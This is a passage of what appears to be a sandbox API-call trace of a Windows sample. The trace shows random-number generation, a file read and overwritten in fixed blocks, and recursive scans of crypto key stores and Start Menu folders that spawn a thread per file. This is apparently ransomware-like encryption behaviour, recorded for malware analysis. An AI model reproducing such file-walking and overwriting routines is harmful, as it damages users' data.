Seed=0x65bfb68) returned 0x4affbcc1 [0064.657] RtlRandomEx (in: Seed=0x65bfb68 | out: Seed=0x65bfb68) returned 0xea68a71 [0064.657] RtlRandomEx (in: Seed=0x65bfb68 | out: Seed=0x65bfb68) returned 0x84a8e25 [0064.657] RtlRandomEx (in: Seed=0x65bfb68 | out: Seed=0x65bfb68) returned 0x206ca540 [0064.657] RtlRandomEx (in: Seed=0x65bfb68 | out: Seed=0x65bfb68) returned 0x41936a19 [0064.657] RtlRandomEx (in: Seed=0x65bfb68 | out: Seed=0x65bfb68) returned 0x26cabd39 [0064.657] RtlRandomEx (in: Seed=0x65bfb68 | out: Seed=0x65bfb68) returned 0x3fb6161e [0064.657] RtlRandomEx (in: Seed=0x65bfb68 | out: Seed=0x65bfb68) returned 0x77bb0786 [0064.657] RtlRandomEx (in: Seed=0x65bfb68 | out: Seed=0x65bfb68) returned 0x6a795804 [0064.657] RtlRandomEx (in: Seed=0x65bfb68 | out: Seed=0x65bfb68) returned 0x2aa18389 [0064.657] RtlRandomEx (in: Seed=0x65bfb68 | out: Seed=0x65bfb68) returned 0x4d688684 [0064.657] RtlRandomEx (in: Seed=0x65bfb68 | out: Seed=0x65bfb68) returned 0x201cbdc1 [0064.657] RtlRandomEx (in: Seed=0x65bfb68 | out: Seed=0x65bfb68) returned 0x10e2c2fa [0064.657] RtlRandomEx (in: Seed=0x65bfb68 | out: Seed=0x65bfb68) returned 0x4eae7f91 [0064.657] RtlRandomEx (in: Seed=0x65bfb68 | out: Seed=0x65bfb68) returned 0x2fa5ce16 [0064.657] RtlRandomEx (in: Seed=0x65bfb68 | out: Seed=0x65bfb68) returned 0x183e8c27 [0064.657] RtlRandomEx (in: Seed=0x65bfb68 | out: Seed=0x65bfb68) returned 0x12ae4f0c [0064.657] RtlRandomEx (in: Seed=0x65bfb68 | out: Seed=0x65bfb68) returned 0x7e924c45 [0064.657] RtlRandomEx (in: Seed=0x65bfb68 | out: Seed=0x65bfb68) returned 0x73da29a8 [0064.657] RtlRandomEx (in: Seed=0x65bfb68 | out: Seed=0x65bfb68) returned 0x6b30174f [0064.657] RtlRandomEx (in: Seed=0x65bfb68 | out: Seed=0x65bfb68) returned 0x3dfdd728 [0064.669] SetFilePointerEx (in: hFile=0x13b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.669] ReadFile (in: hFile=0x13b4, lpBuffer=0x197349d0, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x65bfb3c, lpOverlapped=0x0 | out: lpBuffer=0x197349d0*, lpNumberOfBytesRead=0x65bfb3c*=0xc800, lpOverlapped=0x0) returned 1 [0064.669] SetFilePointerEx (in: hFile=0x13b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.669] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c900 [0064.669] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5ed5d78 [0064.669] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9418 [0064.669] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9418) returned 1 [0064.670] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x197411d8 [0064.671] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9418 [0064.671] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9760 [0064.671] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9760) returned 1 [0064.671] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed5d78) returned 1 [0064.671] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c900) returned 1 [0064.671] WriteFile (hFile=0x13b4, lpBuffer=0x197411d8, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x65bfb3c, lpOverlapped=0x0) Thread: id = 652 os_tid = 0xb38 [0050.773] GetFileAttributesW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.Targets" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.5\\workflow.targets")) returned 0x20 [0050.773] SetFileAttributesW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.Targets", dwFileAttributes=0x20) returned 0 [0050.773] CreateFileW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.Targets" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.5\\workflow.targets"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0050.773] GetLastError () returned 0x5 [0050.773] SetFileAttributesW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.Targets", dwFileAttributes=0x20) returned 0 [0050.774] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45c298) returned 1 Thread: id = 653 os_tid = 0xb3c [0050.774] GetFileAttributesW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.VisualBasic.Targets" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.5\\workflow.visualbasic.targets")) returned 0x20 [0050.774] SetFileAttributesW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.VisualBasic.Targets", dwFileAttributes=0x20) returned 0 [0050.775] CreateFileW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.VisualBasic.Targets" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.5\\workflow.visualbasic.targets"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0050.775] GetLastError () returned 0x5 [0050.775] SetFileAttributesW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.VisualBasic.Targets", dwFileAttributes=0x20) returned 0 [0050.775] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00950) returned 1 Thread: id = 654 os_tid = 0xb40 [0050.776] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x64) returned 0x43c160 [0050.776] wcscpy (in: _Dest=0x43c160, _Source="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys") returned="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys" [0050.776] wcscat (in: _Dest=0x43c160, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\" [0050.776] wcscat (in: _Dest=0x43c160, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\*") returned="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\*" [0050.776] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4ba278 [0050.776] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\*", lpFindFileData=0x4ba278 | out: lpFindFileData=0x4ba278*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4407e0 [0050.776] wcscmp (_String1=".", _String2=".") returned 0 [0050.776] FindNextFileW (in: hFindFile=0x4407e0, lpFindFileData=0x4ba278 | out: lpFindFileData=0x4ba278*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.776] wcscmp (_String1="..", _String2=".") returned 1 [0050.776] wcscmp (_String1="..", _String2="..") returned 0 [0050.776] FindNextFileW (in: hFindFile=0x4407e0, lpFindFileData=0x4ba278 | out: lpFindFileData=0x4ba278*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0050.776] FindClose (in: hFindFile=0x4407e0 | out: hFindFile=0x4407e0) returned 1 [0050.776] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ba278) returned 1 [0050.776] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43c160) returned 1 [0050.776] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48d528) returned 1 Thread: id = 655 os_tid = 0xb44 [0050.777] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x64) returned 0x43c160 [0050.777] wcscpy (in: _Dest=0x43c160, _Source="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys" [0050.777] wcscat (in: _Dest=0x43c160, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\" [0050.777] wcscat (in: _Dest=0x43c160, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\*") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\*" [0050.777] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4ba278 [0050.777] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\*", lpFindFileData=0x4ba278 | out: lpFindFileData=0x4ba278*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4407e0 [0050.778] wcscmp (_String1=".", _String2=".") returned 0 [0050.778] FindNextFileW (in: hFindFile=0x4407e0, lpFindFileData=0x4ba278 | out: lpFindFileData=0x4ba278*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.778] wcscmp (_String1="..", _String2=".") returned 1 [0050.778] wcscmp (_String1="..", _String2="..") returned 0 [0050.778] FindNextFileW (in: hFindFile=0x4407e0, lpFindFileData=0x4ba278 | out: lpFindFileData=0x4ba278*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0050.778] FindClose (in: hFindFile=0x4407e0 | out: hFindFile=0x4407e0) returned 1 [0050.778] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ba278) returned 1 [0050.778] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43c160) returned 1 [0050.778] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48d590) returned 1 Thread: id = 656 os_tid = 0xb48 [0050.779] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5e) returned 0x48d590 [0050.779] wcscpy (in: _Dest=0x48d590, _Source="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18" [0050.779] wcscat (in: _Dest=0x48d590, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\" [0050.779] wcscat (in: _Dest=0x48d590, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\*") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\*" [0050.779] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4ba278 [0050.779] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\*", lpFindFileData=0x4ba278 | out: lpFindFileData=0x4ba278*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfc65d150, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe5bc2f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xe5bc2f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440620 [0051.257] wcscmp (_String1=".", _String2=".") returned 0 [0051.257] FindNextFileW (in: hFindFile=0x440620, lpFindFileData=0x4ba278 | out: lpFindFileData=0x4ba278*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfc65d150, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe5bc2f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xe5bc2f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.258] wcscmp (_String1="..", _String2=".") returned 1 [0051.258] wcscmp (_String1="..", _String2="..") returned 0 [0051.258] FindNextFileW (in: hFindFile=0x440620, lpFindFileData=0x4ba278 | out: lpFindFileData=0x4ba278*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xfc767af0, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xfc767af0, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xfc767af0, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", cAlternateFileName="6D14E4~1")) returned 1 [0051.258] wcscmp (_String1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", _String2=".") returned 1 [0051.258] wcscmp (_String1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", _String2="..") returned 1 [0051.258] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xe6) returned 0x423ec8 [0051.258] wcscpy (in: _Dest=0x423ec8, _Source="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18" [0051.258] wcscat (in: _Dest=0x423ec8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\" [0051.258] wcscat (in: _Dest=0x423ec8, _Source="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f" [0059.815] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x423ec8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc74 [0059.817] FindNextFileW (in: hFindFile=0x440620, lpFindFileData=0x4ba278 | out: lpFindFileData=0x4ba278*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe5bc2f0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0xe5bc2f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xe5bc2f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x41d, dwReserved0=0x0, dwReserved1=0x0, cFileName="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", cAlternateFileName="D42CC0~1")) returned 1 [0059.817] wcscmp (_String1="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", _String2=".") returned 1 [0059.817] wcscmp (_String1="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", _String2="..") returned 1 [0059.817] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xe6) returned 0x44e530 [0059.817] wcscpy (in: _Dest=0x44e530, _Source="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18" [0059.817] wcscat (in: _Dest=0x44e530, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\" [0059.817] wcscat (in: _Dest=0x44e530, _Source="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f" [0059.817] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x44e530, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11bc [0059.820] FindNextFileW (in: hFindFile=0x440620, lpFindFileData=0x4ba278 | out: lpFindFileData=0x4ba278*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe5bc2f0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0xe5bc2f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xe5bc2f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x41d, dwReserved0=0x0, dwReserved1=0x0, cFileName="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", cAlternateFileName="D42CC0~1")) returned 0 [0059.820] FindClose (in: hFindFile=0x440620 | out: hFindFile=0x440620) returned 1 [0059.820] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ba278) returned 1 [0059.820] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48d590) returned 1 [0059.820] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445e48) returned 1 Thread: id = 657 os_tid = 0xb4c [0050.780] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc8) returned 0x5e00950 [0050.780] wcscpy (in: _Dest=0x5e00950, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools" [0050.780] wcscat (in: _Dest=0x5e00950, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\" [0050.780] wcscat (in: _Dest=0x5e00950, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\*" [0050.780] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4ba4e0 [0050.780] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\*", lpFindFileData=0x4ba4e0 | out: lpFindFileData=0x4ba4e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4407e0 [0050.781] wcscmp (_String1=".", _String2=".") returned 0 [0050.781] FindNextFileW (in: hFindFile=0x4407e0, lpFindFileData=0x4ba4e0 | out: lpFindFileData=0x4ba4e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.781] wcscmp (_String1="..", _String2=".") returned 1 [0050.781] wcscmp (_String1="..", _String2="..") returned 0 [0050.781] FindNextFileW (in: hFindFile=0x4407e0, lpFindFileData=0x4ba4e0 | out: lpFindFileData=0x4ba4e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77fec150, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc119ff40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc119ff40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xba1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Digital Certificate for VBA Projects.lnk", cAlternateFileName="DIGITA~1.LNK")) returned 1 [0050.781] wcscmp (_String1="Digital Certificate for VBA Projects.lnk", _String2=".") returned 1 [0050.781] wcscmp (_String1="Digital Certificate for VBA Projects.lnk", _String2="..") returned 1 [0050.781] FindNextFileW (in: hFindFile=0x4407e0, lpFindFileData=0x4ba4e0 | out: lpFindFileData=0x4ba4e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc1179de0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc1179de0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xb65, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Clip Organizer.lnk", cAlternateFileName="MICROS~1.LNK")) returned 1 [0050.781] wcscmp (_String1="Microsoft Clip Organizer.lnk", _String2=".") returned 1 [0050.781] wcscmp (_String1="Microsoft Clip Organizer.lnk", _String2="..") returned 1 [0050.781] FindNextFileW (in: hFindFile=0x4407e0, lpFindFileData=0x4ba4e0 | out: lpFindFileData=0x4ba4e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780122b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xabf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office 2010 Language Preferences.lnk", cAlternateFileName="MICROS~4.LNK")) returned 1 [0050.781] wcscmp (_String1="Microsoft Office 2010 Language Preferences.lnk", _String2=".") returned 1 [0050.781] wcscmp (_String1="Microsoft Office 2010 Language Preferences.lnk", _String2="..") returned 1 [0050.781] FindNextFileW (in: hFindFile=0x4407e0, lpFindFileData=0x4ba4e0 | out: lpFindFileData=0x4ba4e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77fec150, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc119ff40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc119ff40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xb15, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office 2010 Upload Center.lnk", cAlternateFileName="MICROS~3.LNK")) returned 1 [0050.781] wcscmp (_String1="Microsoft Office 2010 Upload Center.lnk", _String2=".") returned 1 [0050.781] wcscmp (_String1="Microsoft Office 2010 Upload Center.lnk", _String2="..") returned 1 [0050.781] FindNextFileW (in: hFindFile=0x4407e0, lpFindFileData=0x4ba4e0 | out: lpFindFileData=0x4ba4e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77fec150, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc1179de0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc1179de0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xb3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office Picture Manager.lnk", cAlternateFileName="MICROS~2.LNK")) returned 1 [0050.781] wcscmp (_String1="Microsoft Office Picture Manager.lnk", _String2=".") returned 1 [0050.782] wcscmp (_String1="Microsoft Office Picture Manager.lnk", _String2="..") returned 1 [0050.782] FindNextFileW (in: hFindFile=0x4407e0, lpFindFileData=0x4ba4e0 | out: lpFindFileData=0x4ba4e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc11c60a0, 